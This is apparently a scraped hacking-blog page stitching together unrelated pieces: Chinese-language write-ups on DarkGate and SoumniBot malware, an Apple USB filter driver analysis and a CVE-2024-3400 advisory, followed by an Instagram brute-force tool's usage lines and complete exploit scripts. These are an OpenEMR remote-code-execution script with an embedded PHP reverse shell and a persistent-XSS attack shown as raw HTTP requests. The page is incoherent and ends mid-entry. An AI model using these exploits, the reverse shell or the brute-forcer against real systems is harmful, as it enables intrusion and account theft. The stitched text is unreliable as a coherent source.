Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86392212

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

從7月到9月,研究人員就已經觀察到DarkGate活動,趨勢科技檢測為TrojanSpy.AutoIt.DARKGATE.AA,攻擊者濫用即時通訊平台向受害者提供VBA加載器腳本。該腳本下載並執行由AutoIT腳本組成的第二階段有效負載,其中包含DarkGate惡意軟件代碼。目前還不清楚即時消息應用程序的原始帳戶是如何被攻擊的,但應該是通過地下論壇獲得的憑據。

DarkGate在過去的幾年裡並不是很活躍。然而,根據Truesec和MalwareBytes的報告,今年已經觀察到多個攻擊部署。通過對這次活動的密切監控,研究人員發現大多數DarkGate攻擊都發生在美洲地區,其次是亞洲、中東和非洲。

1.png

2023年8月至9月DarkGate活動的分佈

DarkGate活動背景DarkGate於2017年底首次被發現,被歸類為商品加載器。自2023年5月以來,DarkGate已經在俄語論壇開始流行,從那時起,使用惡意軟件的初始入口攻擊數量開始有所增加。 DarkGate具有各種功能,包括執行以下操作的功能:

執行發現命令(包括目錄遍歷);

自我更新,自我管理;

實現遠程訪問軟件,如遠程桌面協議或RDP、隱藏虛擬網絡計算或hVNC、AnyDesk;

啟用加密貨幣挖掘功能(啟動、停止和配置);

按鍵記錄(keylogging),Keylogging攻擊是指攻擊者跟踪鍵盤、鼠標活動,獲得用戶輸入的信息,包括帳號、口令等;

從瀏覽器竊取信息;

權限升級。

DarkGate還使用一種名為AutoIt的windows專用自動化和腳本工具,來傳播和執行其惡意功能。儘管AutoIt是一個合法的工具,但它經常被其他惡意軟件家族濫用,用於規避防禦和增加混淆層。然而,從歷史上看,沒有一個著名的加載程序,如IcedID、Emotet或Qakbot被觀察到濫用它,這使得研究人員或安全團隊更容易將這些活動與惡意軟件活動聯繫起來。

將最新的DarkGate變體與2018年同樣濫用AutoIt的樣本進行比較,研究人員觀察到該樣本在初始階段和命令行中添加混淆方面似乎略有變化。然而,感染鏈基本上保持不變。

攻擊概述根據分析,攻擊者濫用兩個組織之間的信任關係來欺騙收件人執行附加的VBA腳本。訪問受害者的Skype帳戶允許攻擊者劫持現有的消息傳遞線程,並製作文件的命名約定,以與聊天歷史的上下文相關。

2.png

DarkGate感染鏈濫用Skype

受害者收到了來自被攻擊的Skype帳戶的消息,該消息包含一個欺騙性的VBS腳本,其文件名格式為:

3.png

帶有嵌入惡意附件冒充PDF文件的Skype消息

受害者執行VBA腳本後,首先創建一個

4.png

VBA腳本內容樣本;VBA腳本充當兩個文件的下載程序:一個是AutoIt可執行文件的合法副本,另一個是惡意編譯的.au3腳本

研究人員檢測到VBA腳本通過使用Windows本地wscript.exe執行加載。該腳本創建了

5.png

Trend Vision One對Skype VBA腳本執行的根本原因分析(RCA)

查看Trend Vision One的RCA,研究人員可以觀察到curl命令用於檢索合法的AutoIt應用程序和相關的惡意fIKXNA.au3(.au3表示AutoIt Version 3腳本文件)。 Curl是通過cmd.exe使用以下參數執行的,以從遠程託管服務器檢索兩個文件:

6.png

在另一個樣本中,觀察到攻擊通過Microsoft Teams消息發送鏈接。在該樣本中,該組織的系統允許受害者接收來自外部用戶的消息,這導致他們成為垃圾郵件的潛在目標。

Truesec的研究人員在9月初記錄了類似的DarkGate技術。雖然Skype程序將VBS文件偽裝成PDF文檔,但在Teams版本的攻擊中,攻擊者隱藏了一個.LNK文件。此外,濫用Teams的樣本來自一個未知的外部發件人。

7.png

將帶有惡意附件的消息分組

研究人員還觀察到VBA腳本的第三種傳遞方法,其中.LNK文件以壓縮文件的形式從創建者的SharePoint網站到達。受害者被引誘瀏覽給定的SharePoint網站並下載名為“Significant company changes September.zip”的文件。

.ZIP文件包含以下冒充PDF文檔的.LNK文件:

Company_Transformations.pdf.lnk

Revamped_Organizational_Structure.pdf.lnk

Position_Guidelines.pdf.lnk

Fresh_Mission_and_Core_Values.pdf.lnk

Employees_Affected_by_Transition.pdf.lnk使用條件執行,只有在上一個命令失敗時,才會執行附帶的命令。LNK文件包含以下命令:

8.png

成功後,將下載並執行loaderVBA腳本(hm3.vbs)。 VBA腳本將繼續從System32目錄複製並將curl.exe重命名為“

9.png

Trend Vision One RCA使用.LNK文件作為初始入口DarkGateAU3腳本

下載的工件既包含AutoIt的合法副本,也包含惡意編譯的AutoIt腳本文件,其中包含DarkGate的惡意功能。在加載腳本之前,AU3文件首先執行以下檢查。如果不滿足以下任何一個條件,腳本將被終止:

確認%Program Files%存在時;

當掃描的用戶名不是“SYSTEM”時;

一旦環境檢查完成,程序就會搜索帶有'.au3'擴展來解密和執行DarkGate有效負載,如果無法加載. au3文件,程序將顯示一個錯誤消息框並終止執行。

成功執行.AU3文件後,該文件生成位於C:\ProgramFiles(x86)\.中的代理進程,這些進程包括iexplorer .exe、GoogleUpdateBroker.exe和Dell.D3.WinSvc.UILauncher.exe。它們被注入shellcode以在內存中執行DarkGate有效負載。

惡意軟件通過將隨機命名的LNK文件放入Windows用戶啟動文件夾來實現持久性,從而在每次系統啟動時自動執行該文件,執行路徑如下:

此外,執行將使用隨機生成的七字符字符串在Program Data目錄下的主機上創建一個文件夾來存儲日誌和配置數據。為了幫助調查DarkGate有效負載和進程,Telekom Security可以使用一個工具來轉儲配置文件。

10.png

.AU3腳本片段

11.png

提取配置

安裝後活動該攻擊被觀察到作為附加有效負載的下載程序。安裝DarkGate惡意軟件後,它會在

被釋放的文件被檢測為DarkGate或Remcos的變體,可能是作為加強攻擊者在受感染系統中的立腳點的一種手段。以下是研究人員為這些額外負載找到的一些樣本文件名:

Folkevognsrugbrd.exe

logbackup_0.exe

sdvbs.exe

Vaabenstyringssystem.exe

Sdvaners.exe

Dropper.exe

12.png

DarkGate惡意軟件釋放額外有效負載

總結在本示例中,攻擊者在實現其目標之前就發現並控制了攻擊。然而,研究人員注意到,鑑於之前的DarkGate,攻擊者的目標可能會有所不同,這取決於所使用的攻擊機構。

攻擊者可以利用這些有效負載用各種類型的惡意軟件感染系統,包括信息竊取、勒索軟件、惡意使用或濫用的遠程管理工具,以及加密貨幣挖礦工具。

在本文的樣本中,Skype應用程序被合法地用於與第三方供應商通信,使其更容易滲透或引誘用戶訪問惡意文件。攻擊者的最初目標只是在環境中獲得立足點,最終目標仍然是滲透整個環境,通過對購買或租用DarkGate變體的攻擊組織的分析,攻擊包含勒索和加密挖礦等。根據發現的樣本,研究人員初步判斷DarkGate與Black Basta勒索軟件組相關。

只要允許外部消息傳遞,或者不檢查通過受攻擊帳戶濫用信任關係,那麼就可以對任何即時消息傳遞(IM)應用程序執行這種初始輸入技術,向組織引入任何新的應用程序都應該伴隨著保護和限制該組織攻擊面的措施。

在本文的示例中,IM應用程序應該由組織控制,以執行諸如阻止外部域、控製附件以及實現掃描等規則,研究人員強烈建議使用多因素身份驗證(MFA)來保護應用程序(包括IM應用程序),以防止有效憑據被盜取。

應用程序允許列表是一種很好的防禦機制,可以確保最終用戶只能訪問和執行某些應用程序。

如果你曾經將iPhone、iPad或iPod連接到Windows PC上,你可能會注意到,這些設備會根據你的操作顯示為不同類型的設備。例如,如果你正在給iPhone充電,它可能會顯示為“USB複合設備”,但如果你正在與iTunes同步音樂,它可能會顯示為“蘋果移動設備USB驅動程序”。你有沒有想過這是怎麼回事?事實證明,蘋果在Windows電腦上有一個USB低級過濾器,可以幫助他們控制操作系統使用哪些USB配置。

本文中,我們會首先介紹蘋果的USB低級過濾器是如何工作的,它是做什麼,以及無論是否安裝了蘋果軟件,它如何提供不同的體驗;其次,我們將研究為什麼當設備的WPD屬性WPD_DEVICE_PROTOCOL表明設備正在使用媒體傳輸協議(MTP)時,iphone的開箱操作如此有限。我們將深入研究諸如Windows便攜式設備(WPD),USB描述符和用戶模式驅動程序框架(UMDF)等話題。

初始化蘋果的USB低級過濾器蘋果設備將自己呈現為具有多個接口的複合設備,以確保它們的設備被正確識別,並加載所有必要的驅動程序。這是因為蘋果設備通常有多個接口,提供不同的功能,如音頻、視頻和控制。當我們將蘋果設備插入Windows設備時,總線適配器識別設備並向操作系統提供其hardwareid和compatibleid。這些id用於根據id的匹配質量在driver Store中搜索最佳驅動程序。

對於總線驅動器來說,要將該設備視為複合設備,必須滿足一定的要求。如果不滿足這些要求,操作系統將不會自動加載USB複合設備類驅動程序(usbccgp)。在這種情況下,我們需要提供一個INF來加載通用的父驅動程序,對於蘋果來說是文件AppleUSB.inf。

在iPhone的情況下,不滿足的要求是設備具有多個配置(bNumConfigurations==4)。

這個INF文件包含不同設備的各種設置配置(例如AppleUSB, AppleUsbHomePod和AppleUsbWatch)。對於iOS設備,HardwareId將完全匹配,因此操作系統將應用AppleUSB設置配置,這將復制AppleLowerFilter.sys,並將在設備特定的註冊表項下添加以下值:

1.png

OriginalConfigurationValue是一個可以在設備的硬件註冊表項中為Usbccgp.sys驅動程序設置的值。它確定複合設備的哪個配置應用作默認配置。首次插入複合設備時,系統讀取OriginalConfigurationValue並加載指定的配置。這對於具有多個配置的複合設備非常有用,其中一個配置可能是首選配置。

安裝驅動程序包後,微軟將詳細說明以下步驟。設備將重新啟動,重啟後,PnP管理器識別設備的功能驅動程序和任何可選的過濾器驅動程序,構建設備堆棧,在該樣本中,FDO是Usbccgp和LowerFiDO是AppleLowerFilter,並通過調用DriverEntry例程啟動設備,為任何尚未加載的所需驅動程序。然後為每個驅動程序調用AddDevice例程,從低過濾驅動程序開始,然後是函數驅動程序。如果需要,將分配資源,PnP管理器將IRP_MN_START_DEVICE發送給設備的驅動程序。

USB低級過濾器工作原理介紹了AppleLowerFilter的枚舉和安裝背後的理論之後,我們現在將仔細研究驅動程序是如何工作的,以及它在Windows設備上啟用Apple設備功能時所起的作用。

作為一個WDF驅動程序,PnP調用DriverEntry的第一步是初始化框架並綁定WDF版本(在本例中為WDF 1.15)。一旦完成,框架將調用我們的DriverEntry函數,在AppleLowerFilter的情況下,他們的驅動項將簡單地創建一個驅動對象,並在WDF_DRIVER_CONFIG中只設置一個AddDevice例程。 AppleLowerFilter的AddDevice例程將進行如下操作:

1.通過調用WdfFdoInitSetFilter將自己標識為FiDO;

2.為事件註冊PnP和電源管理回調:

EvtDevicePrepareHardware;

EvtDeviceReleaseHardware;

EvtDeviceD0Entry;

EvtDeviceD0Exit;

3.為IRP設置兩個IRP預處理回調:

IRP_MJ_PNP;

IRP_MJ_INTERNAL_DEVICE_CONTROL;

4.使用名為FILTER_EXTENSION(sizeof==0x50)的上下文類型信息創建一個DO;

本文不深入討論WDF框架的所有細節,但鼓勵每個人都深入研究Github上的源代碼。它是一個設計良好的軟件,使編寫驅動程序變得更加容易和直觀,因此研究代碼是一個很好的練習。

在上電序列( power-up sequence)中,下一步是為上電準備硬件,這意味著調用過濾器註冊的EvtDevicePrepareHardware回調。這可能是AppleLowerFilter中最有趣的步驟。

Callback的第一步是檢索USB描述符,這是通過被稱為GetUsbDeviceDescriptor的函數完成的。此函數用於檢索USB設備的USB設備描述符。這是通過為URB (USB請求塊)分配內存並使用URB_FUNCTION_GET_DESCRIPTOR_FROM_DEVICE類型完成的,這是一個從USB設備檢索描述符的請求。被請求的描述符是USB_DEVICE_DESCRIPTOR_TYPE,它提供有關USB設備的信息,如其供應商和產品id、設備類和協議。該函數同步提交URB以檢索描述符。

對於大多數與USB相關的操作,蘋果使用usbdlib,這有點令人不可思議,因為這是一個WDF驅動程序,他們可以使用wdfusb標頭,簡化事情。

然後,驅動程序將bNumConfigurations存儲到FILTER_EXTENSION上下文中,並繼續調用我認為是該驅動程序的主要函數GetPreferredConfig。在描述其內部結構之前,先看一下這個函數的簡單偽代碼:

2.png

該函數將首先檢查設備的配置數是否為1。如果是,則將首選配置設置為1;如果沒有,代碼將發送一個URB來檢索首選配置;如果URB請求失敗,則首選配置為3。然後代碼在FilterCtx結構中設置DeviceConfig字段。然後,它檢查QueryAppleSoftwarePresent函數是否返回false(表示未安裝AppleSoftware),如果是,則將首選配置設置為1。然後,代碼檢查首選配置是否大於或等於設備描述符中指定的配置數;如果是,則將首選配置設置為最大配置數。最後,如果首選配置大於或等於5,則代碼返回5。

在這個函數中有幾個關鍵點,首先突出的是getdeviceconfigure函數,該函數將為URB分配內存,設置URB以發出特定於供應商的控制請求,然後將URB同步提交給USB驅動程序堆棧。正在進行的特定供應商請求是請求類型為69的控制傳輸和包含一個字節數據的傳輸緩衝區。

3.png

選擇首選配置的下一個關鍵點是QueryAppleSoftwarePresent函數,這個函數起著很大的作用,因為它的返回值將決定我們是否總是被限制為只有一個首選配置。這個函數將做以下事情:

4.png

回到GetPreferredConfig函數,這個值起著很大的作用,因為這個函數返回的數字將用於覆蓋設備註冊表項中的OriginalConfigurationValue。

注意:GetPreferredConfig返回的值將被減去1,因為OriginalConfigurationValue描述的註冊表值對應於usb定義的配置索引,由配置描述符(USB_CONFIGURATION_DESCRIPTOR)的bConfigurationValue成員指示,而不是由設備配置描述符中報告的bConfigurationNum值表示。

我們剛剛看到的是為什麼即使INF在OriginalConfigurationValue中寫入值2,如果你將iPhone插入沒有安裝iTunes的PC,你會在註冊表中看到以下內容:

5.jpg

在註冊表中設置OriginalConfigurationValue之後,EvtDevicePrepareHardware函數將調用wdfusbtargetdevicecrecreate來創建USB目標設備對象。 USB目標設備對象表示底層USB設備,並為驅動程序與設備通信提供了一種方式。

為了定期檢查首選配置,該函數設置了一個WDFTIMER。計時器的回調函數將被定期調用,以檢查首選配置是否已更改。如果首選配置已更改,則函數將調用WdfUsbTargetDeviceCyclePortSynchronously,以便意外刪除並重新枚舉設備,從而使用新配置進行加載。

計時器的周期設置為0,因此框架不會調用計時器。另一方面,過濾器將在計時器的回調函數和D0Entry回調中調用WdfTimerStart, DueTime為5s(相對於當前系統時間)。

現在讓我們看看這兩個IRP預處理回調,以獲得驅動程序工作流的全貌。 IRP的預處理允許驅動程序在將IRP發送到默認處理程序或堆棧中的另一個驅動程序之前修改或重定向IRP。

首先看一下內部設備控制請求的處理程序。該函數將檢查IRP是否為IOCTL_INTERNAL_USB_SUBMIT_URB請求,以選擇USB配置。如果是,函數將獲得設備的句柄,轉發IRP,然後檢索USB接口的管道句柄。 Interrupt、BulkIn和BulkOut的管道句柄將存儲在設備上下文中。

現在讓我們看一下PnP IRPs預處理的處理程序。在本文的示例中,句柄將處理兩種情況:IRP_MN_QUERY_DEVICE_RELATIONS 和IRP_MN_QUERY_ID。

QueryID IRP的情況非常簡單,函數將檢查FilterCtx-DeviceConfig(記住這個值是通過供應商特定的URB獲得的)是否被設置為1,如果是,函數將字符串RESTORE_MODE附加到BusQueryHardwareIDs和BusQueryDeviceID請求返回的信息中。

另一方面,querydevicerrelation更有趣一些。首先,這個處理程序只會在某個計時器沒有運行並且設備上安裝了Apple Software的情況下執行。它將只處理BusRelations IRP,它將同步轉發請求並檢查狀態是否成功。如果返回任何信息,它將在返回的設備對象列表中查找其CompatibleId包含USB\Class_06的設備。如果找到了,它會取消對這個DO的引用,然後將其從列表中刪除並更新設備計數,這樣即使usbccgp為WPD設備創建了PDO, PnP也不會看到這個DO,因為返回的列表中沒有它。不久,我們將看到低級過濾器如何處理這一點。

如果找到了類6的設備,那麼該函數將根據DbgPrints設置另一個WDF定時器,我們將其稱為PtpTimer,它在5秒後被觸發。當觸發回調時,將在deviceContext中設置一個標誌,因此QueryDeviceRelations處理程序不再處理請求,將檢查iTunes是否存在,如果存在,它將發送以下一組PTP/MTP操作請求包到USB設備。

OpenSession - OperationCode:0x1002;

vendoreextensionoperationcode:0x9008;

CloseSession - OperationCode:0x1003;

下面的USB數據包捕獲說明了這些操作的執行,注意它們是如何在該端口上捕獲大約5秒後發生的。

6.jpg

儘管嘗試了所有的手段來獲得操作0x9008的更多信息,但似乎沒有任何關於它的蘋果設備的信息。所能得到的最好結果是ChatGPT說“PTP/MTP數據包中的操作命令0x9008通常對應於“Apple Device Info”命令”。不幸的是,當要求提供證明這一點的文檔/引用時,而聊天給到的每個鏈接要么是無效的,要么是不可用的/廢棄的蘋果文檔。給定名稱“蘋果設備信息”,筆者認為它類似於PTP/MTP命令“GetDeviceInfo”,但在設備命令0x9008上嘗試的每個測試似乎都沒有數據階段,所以最好的猜測是,要么不是“設備信息”命令,要么蘋果設備不再響應該命令。

7.jpg

最後,在發送PTP/MTP請求後,PtpTimer將調用IoInvalidateDeviceRelations,其關係類型為BusRelation,這將觸發一個新的IRP QueryDeviceRelations,但由於這次計時器已經執行,處理程序不會從設備列表中刪除WPD設備。這次PnP管理器我們會看到WPD設備的PDO並開始為它構建堆棧。下圖顯示了通過將LowerFilter添加到堆棧中並跟踪Pre和Post捕獲的這種行為,IRP由AppleLowerFilter處理。

8.jpg

目前猜測是帶有operationCode0x9008的PTP包以某種方式,通知設備iTunes存在於主機上或這些行周圍的東西。除此之外,沒有註意到WPD設備在安裝iTunes或沒有安裝iTunes的情況下有任何不同的行為,除了WPD設備實際顯示需要5秒鐘。從設備的LowerFilters列表中刪除AppleLowerFilter似乎對WPD設備的行為沒有任何重大影響。

這幾乎就是AppleLowerFilter的行為方式,可以看到它主要在設備初始化期間工作,除了檢查活動配置的計時器每5秒在後台運行一次之外,查看端口時必須重新舉例。

漏洞概述漏洞類型

遠程命令執行

漏洞等級

嚴重

漏洞編號

CVE-2024-3400

漏洞評分

10

利用複雜度

影響版本

PAN-OS 11.1.* 11.1.2-h3

PAN-OS 11.0.* 11.0.4-h1

PAN-OS 10.2.* 10.2.9-h1

利用方式

遠程

POC/EXP

未公開

Palo Alto Networks的PAN-OS是一個運行在Palo Alto Networks防火牆和企業VPN設備上的操作系統。 Palo Alto Networks PAN-OS軟件的GlobalProtect功能存在命令注入漏洞,針對特定的PAN-OS版本和不同的功能配置,可能使未經身份驗證的攻擊者能夠在防火牆上以root權限執行任意代碼。 2024年4 月10日,Volexity 發現其一名網絡安全監控(NSM) 客戶對Palo Alto Networks PAN-OS GlobalProtect 功能中發現的漏洞進行了零日利用,攻擊者能夠創建反向shell、下載工具、竊取配置數據以及在網絡內橫向移動。 Palo Alto Networks PSIRT 團隊確認該漏洞為操作系統命令注入問題,並將其分配為CVE-2024-3400。

僅適用於啟用了GlobalProtect gateway(Network GlobalProtect Gateways)和device telemetry(Device Setup Telemetry)的PAN-OS 10.2、PAN-OS 11.0和PAN-OS 11.1防火牆。

資產測繪據www.daydaymap.com數據顯示,近半年國內風險資產分佈情況如下,主要分佈在台灣省。

QQ截图20240418162314.png

解決方案官方已發布修復方案,受影響的用戶建議更新至安全版本。

https://support.paloaltonetworks.com/support

一種名為“SoumniBot”的新Android 銀行惡意軟件通過利用Android 清單提取和解析過程中的弱點,使用了新的混淆方法。

該方法使SoumniBot 能夠規避Android 手機中的標準安全措施並執行信息竊取操作。

研究人員發現並分析後提供了該惡意軟件利用Android 例程解析和提取APK 清單的方法的技術細節。

欺騙Android 的解析器清單文件(“AndroidManifest.xml”)位於每個應用程序的根目錄中,包含有關組件(服務、廣播接收器、內容提供程序)、權限和應用程序數據的詳細信息。

雖然惡意APK 可以使用Zimperium 的各種壓縮技巧來愚弄安全工具並逃避分析,但分析師發現SoumniBot 使用了三種不同的方法來繞過解析器檢查,其中涉及操縱清單文件的壓縮和大小。

首先,SoumniBot 在解壓APK 的清單文件時使用無效的壓縮值,該值與負責該角色的Android“libziparchive”庫預期的標準值(0 或8)不同。

Android APK 解析器不會將這些值視為不可接受,而是默認將數據識別為由於錯誤而未壓縮,從而允許APK 繞過安全檢查並繼續在設備上執行。

extraction.webp.jpg

從APK 中提取清單文件

第二種方法涉及錯誤報告APK 中清單文件的大小,提供大於實際數字的值。

由於該文件在上一步中已被標記為未壓縮,因此直接從存檔中復制該文件,並用垃圾“覆蓋”數據填充差異。

雖然這些額外的數據不會直接損害設備,但它在混淆代碼分析工具方面發揮著至關重要的作用。

wrong-size.png

報告錯誤的文件大小

第三種規避技術是在清單文件中使用非常長的字符串作為XML 命名空間的名稱,這使得自動分析工具很難檢查到它們,而自動分析工具通常缺乏足夠的內存來處理它們。

long-string.png

清單中的長字符串

Android 官方分析實用程序APK 分析器無法使用上述規避方法處理文件。

SoumniBot 威脅啟動後,SoumniBot 從硬編碼服務器地址請求其配置參數,並發送受感染設備的分析信息,包括編號、運營商等。

接下來,它會啟動一個惡意服務,如果停止,該服務每16 分鐘就會重新啟動一次,並每15 秒傳輸一次從受害者那裡竊取的數據。

洩露的詳細信息包括IP 地址、聯繫人列表、帳戶詳細信息、短信、照片、視頻和網上銀行數字證書。數據洩露由惡意軟件通過MQTT 服務器接收的命令控制,這些命令還對以下功能進行排序:

马云惹不起马云刪除現有聯繫人或添加新聯繫人

马云惹不起马云發送短信(轉發)

马云惹不起马云設置鈴聲音量

马云惹不起马云打開或關閉靜音模式

马云惹不起马云打開或關閉設備上的調試模式

目前尚不清楚SoumniBot 如何到達設備,但方法可能有所不同,從通過第三方Android 商店和不安全網站分發到使用受信任存儲庫中的惡意代碼更新合法應用程序。

SoumniBot 主要針對韓國用戶,與許多惡意Android 應用程序一樣,它在安裝後隱藏其圖標,使其更難以刪除。其實,它在後台仍然活躍,並從受害者處上傳數據。

Instagram蛮力CPU/GPU支持2024

(在运行脚本时使用选项2。)

(选项1正在开发)

(镀铬应在设备中下载。)

兼容和测试(仅GUI支持操作系统)

Python 3.13 x64位unix/linix/Mac/Windows 8.1及更高

安装要求

pip install -r unigess.txt如何运行

python3 instagram_brute_force.py [instagram_username_without_hashtag]

python3 instagram_brute_force.py mrx161

# Title: OpenEMR 5.0.1 - Remote Code Execution (1)
# Exploit Author: Musyoka Ian
# Date: 2020-05-25
# Title: OpenEMR < 5.0.1 - Remote Code Execution
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz
# Dockerfile: https://github.com/haccer/exploits/blob/master/OpenEMR-RCE/Dockerfile 
# Version: < 5.0.1 (Patch 4)
# Tested on: Ubuntu LAMP, OpenEMR Version 5.0.1.3
# References: https://medium.com/@musyokaian/openemr-version-5-0-1-remote-code-execution-vulnerability-2f8fd8644a69

# openemr_exploit.py

#!/usr/bin/env python2
# -*- coding: utf-8 -*-

import requests
import time

auth = "[+] Authentication with credentials provided please be patient"
upload = "[+] Uploading a payload it will take a minute"
netcat = "[+] You should be getting a shell"
s = requests.Session()
payload = {'site': 'default', 'mode' : 'save', 'docid' : 'shell.php', 'content' : """<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  # CHANGE THIS
$port = 9001;       # CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> """}
print (auth)
url = "http://localhost/openemr/interface/main/main_screen.php?auth=login&site=default"
data= {
    'new_login_session_management' : '1',
    'authProvider' : 'Default',
    'authUser' : 'admin', # change this to the the appropriate username
    'clearPass' : 'password123',       # change this to the appropriate password 
    'languageChoice' : '1',
    }
    
response = s.post(url, data=data,).text
time.sleep(2)
print (upload)
time.sleep(2)
resp = s.post("http://localhost/openemr/portal/import_template.php?site=default", data = payload)
time.sleep(2)
print (netcat)
rev_shell = s.get("http://localhost/openemr/portal/shell.php")
print (rev_shell.text)
            
# Exploit Title: thesystem Persistent XSS 
# Author: Anıl Baran Yelken 
# Discovery Date: 2019-09-28 
# Vendor Homepage: https://github.com/kostasmitroglou/thesystem 
# Software Link: https://github.com/kostasmitroglou/thesystem 
# Tested Version: 1.0 
# Tested on OS: Windows 10 
# CVE: N/A 
# Type: Webapps 
# Description: 
# Persistent XSS after login bypass(login_required didn't used) 

First of all, I send a request add_server 
POST /add_server/ HTTP/1.1 
Host: 127.0.0.1:8000 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 
Accept-Encoding: gzip, deflate 
Content-Type: multipart/form-data; boundary=---------------------------3902153292 
Content-Length: 1205 
Connection: close 
Referer: http://127.0.0.1:8000/add_server/ 
Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.1.567905900.1569231977; _gid=GA1.1.882048829.1569577719 
Upgrade-Insecure-Requests: 1 
-----------------------------3902153292 
Content-Disposition: form-data; name="csrfmiddlewaretoken" 
S5HLlkGrTnGH2FHIP4ry58Mw8Rw9KiPF3j6wIQ5tQvzMLmZTLAayAVs4Htg6OCRn 
-----------------------------3902153292 
Content-Disposition: form-data; name="operating_system" 
<script>alert("kale1")</script> 
-----------------------------3902153292 
Content-Disposition: form-data; name="ip_address" 
127.0.0.1 
-----------------------------3902153292 
Content-Disposition: form-data; name="system_port" 
22 
-----------------------------3902153292 
Content-Disposition: form-data; name="system_owner" 
<script>alert("kale2")</script> 
-----------------------------3902153292 
Content-Disposition: form-data; name="system_username" 
<script>alert("kale3")</script> 
-----------------------------3902153292 
Content-Disposition: form-data; name="system_password" 
<script>alert("kale4")</script> 
-----------------------------3902153292 
Content-Disposition: form-data; name="system_description" 
<script>alert("kale5")</script> 
-----------------------------3902153292 
Content-Disposition: form-data; name="server_name" 
<script>alert("kale6")</script> 
-----------------------------3902153292-- 

After I send a request show_server_data 
GET /show_server_data/ HTTP/1.1 
Host: 127.0.0.1:8000 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 
Accept-Encoding: gzip, deflate 
Connection: close 
Referer: http://127.0.0.1:8000/data/ 
Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.1.567905900.1569231977 
Upgrade-Insecure-Requests: 1 

And I showed persistent XSS: 
HTTP/1.1 200 OK 
Date: Sat, 28 Sep 2019 09:51:04 GMT 
Server: WSGIServer/0.2 CPython/3.5.3 
Content-Length: 437 
Content-Type: text/html; charset=utf-8 
X-Frame-Options: SAMEORIGIN 
(23, 'test', '192.168.1.4', '22', 'test@test', 'root', '1234', 'test', 'test', '2019-09-26')(24, '<h1>Unix', '192.168.1.5', '22', 'test@test', 'root', '1234', 'test2', 'test2', '2019-09-26')(25, '<script>alert("kale1")</script>', '127.0.0.1', '22', '<script>alert("kale2")</script>', '<script>alert("kale3")</script>', '<script>alert("kale4")</script>', '<script>alert("kale5")</script>', '<script>alert("kale6")</script>', '2019-09-28')
            
# Exploit Title: thesystem Command Injection 
# Author: Sadik Cetin 
# Discovery Date: 2019-09-28 
